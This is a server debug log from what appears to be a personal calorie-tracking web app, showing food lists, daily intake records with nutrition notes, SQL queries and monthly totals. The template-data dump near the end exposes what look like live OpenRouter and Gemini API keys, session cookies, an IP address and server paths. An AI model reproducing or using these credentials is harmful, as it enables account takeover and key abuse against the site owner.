    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T10:41:02.445Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  },
  {
    id: 421,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Appe (Paniyaram) homemade',
    calories: 100,
    protein_gm: 4,
    carbs_gm: 20,
    fat_gm: 2,
    quantity: '2 pieces (approx 70-80g)',
    replacements: "Make with minimal oil using a non-stick pan,Incorporate more non-starchy vegetables (e.g., grated carrots, spinach, bottle gourd) into the batter to increase fiber and nutrients,Use a higher proportion of lentils or add oats/ragi flour to the batter to boost protein and fiber content,Serve with a high-protein side like a lentil-based sambar (without coconut) or a small portion of paneer bhurji (cottage cheese scramble) to enhance the meal's protein profile",
    created_at: '2025-12-16T23:21:49.000Z',
    skip_level: 1,
    skip_reason: 'Homemade Appe, made from fermented rice and lentils, is a good source of complex carbohydrates, which are essential for sustained energy during your 5x weekly gym sessions and for replenishing glycogen stores post-workout, aiding muscle recovery and development. It also provides some plant-based protein and is generally easy to digest due to fermentation. Being homemade allows for control over the amount and type of oil used, making it a wholesome and suitable option for your fitness goals.'
  },
  {
    id: 422,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Coffee',
    calories: 75,
    protein_gm: 5,
    carbs_gm: 7,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black coffee,Coffee with skim milk,Coffee with almond milk (unsweetened)',
    created_at: '2025-12-17T00:57:09.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 423,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Roti',
    calories: 300,
    protein_gm: 9,
    carbs_gm: 63,
    fat_gm: 3,
    quantity: '3',
    replacements: 'Jowar roti,Bajra roti,Multigrain roti',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 424,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Aloo Patta Gobi Sabzi',
    calories: 150,
    protein_gm: 4,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)',
    replacements: 'Cabbage and peas sabzi (without potato),Steamed cabbage and carrot salad',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes add extra carbs and calories. While not bad, for muscle development, focusing on higher protein and lower carb vegetables might be more beneficial.'
  },
  {
    id: 425,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Boondi Raita',
    calories: 120,
    protein_gm: 6,
    carbs_gm: 10,
    fat_gm: 6,
    quantity: '1 katori (approx 150g)',
    replacements: 'Plain curd/yogurt,Cucumber raita,Mint raita',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Boondi is typically deep-fried, adding extra fat and calories. While a good source of probiotics from curd, the boondi can be skipped for a leaner option.'
  },
  {
    id: 426,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Water',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1.5 litres',
    replacements: '',
    created_at: '2025-12-17T02:46:18.000Z',
    skip_level: 1,
    skip_reason: "Water is essential for hydration and has no calories. It's crucial for muscle development and overall health."
  },
  {
    id: 427,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 100,
    protein_gm: 2,
    carbs_gm: 25,
    fat_gm: 1,
    quantity: '4 slices',
    replacements: 'Berries (strawberries, blueberries),Watermelon,Cucumber',
    created_at: '2025-12-17T04:40:11.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 428,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Herbal tea (0 calories),Tea with skim milk (lower fat, slightly lower calories)',
    created_at: '2025-12-17T05:11:01.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, especially without sugar. Provides some protein and calcium from milk. For muscle development, the protein content is beneficial.'
  }
]
2025-12-17T10:41:02.446Z server-connect:app Executing action step setvalue
2025-12-17T10:41:02.446Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T10:41:02.446Z server-connect:output var_total: 1196
2025-12-17T10:41:02.446Z server-connect:app Executing action step setvalue
2025-12-17T10:41:02.446Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T10:41:02.446Z server-connect:output var_consumed: 50
2025-12-17T10:41:02.446Z server-connect:app Executing action step setvalue
2025-12-17T10:41:02.446Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T10:41:02.446Z server-connect:output var_deficit: 1204
2025-12-17T10:41:02.446Z server-connect:app Executing action step custom
2025-12-17T10:41:02.446Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T10:41:02.448Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '1196',
    surplus_or_deficit: '1204',
    status_flag: 2
  }
]
2025-12-17T10:41:02.999Z server-connect:app Executing action step identify
2025-12-17T10:41:02.999Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:02.999Z server-connect:output identity: 1
2025-12-17T10:41:29.020Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T10:41:29.020Z server-connect:app Executing action step identify
2025-12-17T10:41:29.020Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:29.020Z server-connect:output identity: 1
2025-12-17T10:41:29.020Z server-connect:app Executing action step restrict
2025-12-17T10:41:29.021Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T10:41:29.021Z server-connect:output restrict: undefined
2025-12-17T10:41:29.021Z server-connect:router Render template layouts/main
2025-12-17T10:41:29.021Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T10:41:29.252Z server-connect:app Executing action step identify
2025-12-17T10:41:29.252Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:29.252Z server-connect:output identity: 1
2025-12-17T10:41:29.583Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T10:41:29.586Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T10:41:29.587Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T10:41:29.587Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T10:41:29.587Z server-connect:app Executing action step identify
2025-12-17T10:41:29.587Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:29.587Z server-connect:output identity: 1
2025-12-17T10:41:29.588Z server-connect:app Executing action step restrict
2025-12-17T10:41:29.588Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:41:29.588Z server-connect:app Executing action step identify
2025-12-17T10:41:29.588Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:29.588Z server-connect:output identity: 1
2025-12-17T10:41:29.588Z server-connect:app Executing action step restrict
2025-12-17T10:41:29.588Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:41:29.589Z server-connect:app Executing action step identify
2025-12-17T10:41:29.589Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:29.589Z server-connect:output identity: 1
2025-12-17T10:41:29.589Z server-connect:app Executing action step restrict
2025-12-17T10:41:29.589Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T10:41:29.589Z server-connect:output restrict: undefined
2025-12-17T10:41:29.589Z server-connect:app Executing action step single
2025-12-17T10:41:29.590Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T10:41:29.590Z server-connect:output restrict: undefined
2025-12-17T10:41:29.590Z server-connect:app Executing action step single
2025-12-17T10:41:29.590Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T10:41:29.591Z server-connect:app Executing action step identify
2025-12-17T10:41:29.591Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:29.591Z server-connect:output identity: 1
2025-12-17T10:41:29.591Z server-connect:app Executing action step restrict
2025-12-17T10:41:29.591Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:29.591Z server-connect:output restrict: undefined
2025-12-17T10:41:29.591Z server-connect:app Executing action step single
2025-12-17T10:41:29.591Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T10:41:29.592Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T10:41:29.592Z server-connect:app Executing action step select
2025-12-17T10:41:29.592Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T10:41:29.592Z server-connect:output restrict: undefined
2025-12-17T10:41:29.593Z server-connect:app Executing action step select
2025-12-17T10:41:29.593Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T10:41:29.594Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  },
  {
    id: 421,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Appe (Paniyaram) homemade',
    calories: 100,
    protein_gm: 4,
    carbs_gm: 20,
    fat_gm: 2,
    quantity: '2 pieces (approx 70-80g)',
    replacements: "Make with minimal oil using a non-stick pan,Incorporate more non-starchy vegetables (e.g., grated carrots, spinach, bottle gourd) into the batter to increase fiber and nutrients,Use a higher proportion of lentils or add oats/ragi flour to the batter to boost protein and fiber content,Serve with a high-protein side like a lentil-based sambar (without coconut) or a small portion of paneer bhurji (cottage cheese scramble) to enhance the meal's protein profile",
    created_at: '2025-12-16T23:21:49.000Z',
    skip_level: 1,
    skip_reason: 'Homemade Appe, made from fermented rice and lentils, is a good source of complex carbohydrates, which are essential for sustained energy during your 5x weekly gym sessions and for replenishing glycogen stores post-workout, aiding muscle recovery and development. It also provides some plant-based protein and is generally easy to digest due to fermentation. Being homemade allows for control over the amount and type of oil used, making it a wholesome and suitable option for your fitness goals.'
  },
  {
    id: 422,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Coffee',
